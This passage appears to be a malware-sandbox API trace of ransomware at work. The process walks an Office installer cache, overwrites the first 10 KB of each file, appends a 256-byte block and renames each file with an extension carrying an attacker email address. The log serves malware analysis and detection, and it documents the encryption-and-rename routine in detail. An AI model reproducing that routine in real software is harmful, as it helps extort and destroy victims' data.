[0052.313] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.314] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.316] CloseHandle (hObject=0x10c) returned 1
[0052.316] GetProcessHeap () returned 0x2e0000
[0052.316] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.316] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0052.316] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.316] GetProcessHeap () returned 0x2e0000
[0052.316] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.316] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1
[0052.316] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 79
[0052.316] StrStrIW (lpFirst="OfficeLR.cab", lpSrch="SDfghjkl") returned 0x0
[0052.316] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.317] GetProcessHeap () returned 0x2e0000
[0052.317] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.317] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.340] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.340] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.340] GetProcessHeap () returned 0x2e0000
[0052.340] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.340] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.340] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.389] CloseHandle (hObject=0x10c) returned 1
[0052.389] GetProcessHeap () returned 0x2e0000
[0052.389] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.389] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0052.389] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.390] GetProcessHeap () returned 0x2e0000
[0052.390] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.390] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1
[0052.390] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 80
[0052.390] StrStrIW (lpFirst="OfficeMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0052.390] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.390] GetProcessHeap () returned 0x2e0000
[0052.390] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.390] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.392] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.392] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.392] GetProcessHeap () returned 0x2e0000
[0052.392] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.392] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.392] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.394] CloseHandle (hObject=0x10c) returned 1
[0052.394] GetProcessHeap () returned 0x2e0000
[0052.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.394] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0052.394] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.395] GetProcessHeap () returned 0x2e0000
[0052.395] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.395] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1
[0052.395] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 80
[0052.395] StrStrIW (lpFirst="OfficeMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0052.395] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.395] GetProcessHeap () returned 0x2e0000
[0052.395] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.395] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x15b5, lpOverlapped=0x0) returned 1
[0052.397] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffea4b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.397] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x15b5, lpOverlapped=0x0) returned 1
[0052.397] GetProcessHeap () returned 0x2e0000
[0052.397] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.397] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.397] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.397] CloseHandle (hObject=0x10c) returned 1
[0052.397] GetProcessHeap () returned 0x2e0000
[0052.397] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.397] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0052.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.398] GetProcessHeap () returned 0x2e0000
[0052.398] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.398] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
[0052.398] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 83
[0052.398] StrStrIW (lpFirst="OfficeMUISet.msi", lpSrch="SDfghjkl") returned 0x0
[0052.398] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.398] GetProcessHeap () returned 0x2e0000
[0052.398] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.398] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.401] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.401] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.423] GetProcessHeap () returned 0x2e0000
[0052.423] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.423] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.431] CloseHandle (hObject=0x10c) returned 1
[0052.431] GetProcessHeap () returned 0x2e0000
[0052.431] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.431] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0052.431] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.432] GetProcessHeap () returned 0x2e0000
[0052.432] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.432] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
[0052.432] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 83
[0052.432] StrStrIW (lpFirst="OfficeMUISet.xml", lpSrch="SDfghjkl") returned 0x0
[0052.432] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.432] GetProcessHeap () returned 0x2e0000
[0052.432] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.432] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x333, lpOverlapped=0x0) returned 1
[0052.434] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.434] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x333, lpOverlapped=0x0) returned 1
[0052.434] GetProcessHeap () returned 0x2e0000
[0052.434] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.434] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.434] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.435] CloseHandle (hObject=0x10c) returned 1
[0052.435] GetProcessHeap () returned 0x2e0000
[0052.435] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.435] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0052.435] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.436] GetProcessHeap () returned 0x2e0000
[0052.436] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.436] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1
[0052.436] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 79
[0052.436] StrStrIW (lpFirst="osetupui.dll", lpSrch="SDfghjkl") returned 0x0
[0052.436] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.436] GetProcessHeap () returned 0x2e0000
[0052.436] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.436] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.437] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.437] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.438] GetProcessHeap () returned 0x2e0000
[0052.438] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.438] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.438] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.439] CloseHandle (hObject=0x10c) returned 1
[0052.439] GetProcessHeap () returned 0x2e0000
[0052.439] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.439] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0052.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.440] GetProcessHeap () returned 0x2e0000
[0052.440] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.440] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1
[0052.440] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 77
[0052.440] StrStrIW (lpFirst="pss10r.chm", lpSrch="SDfghjkl") returned 0x0
[0052.440] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.440] GetProcessHeap () returned 0x2e0000
[0052.440] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.440] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
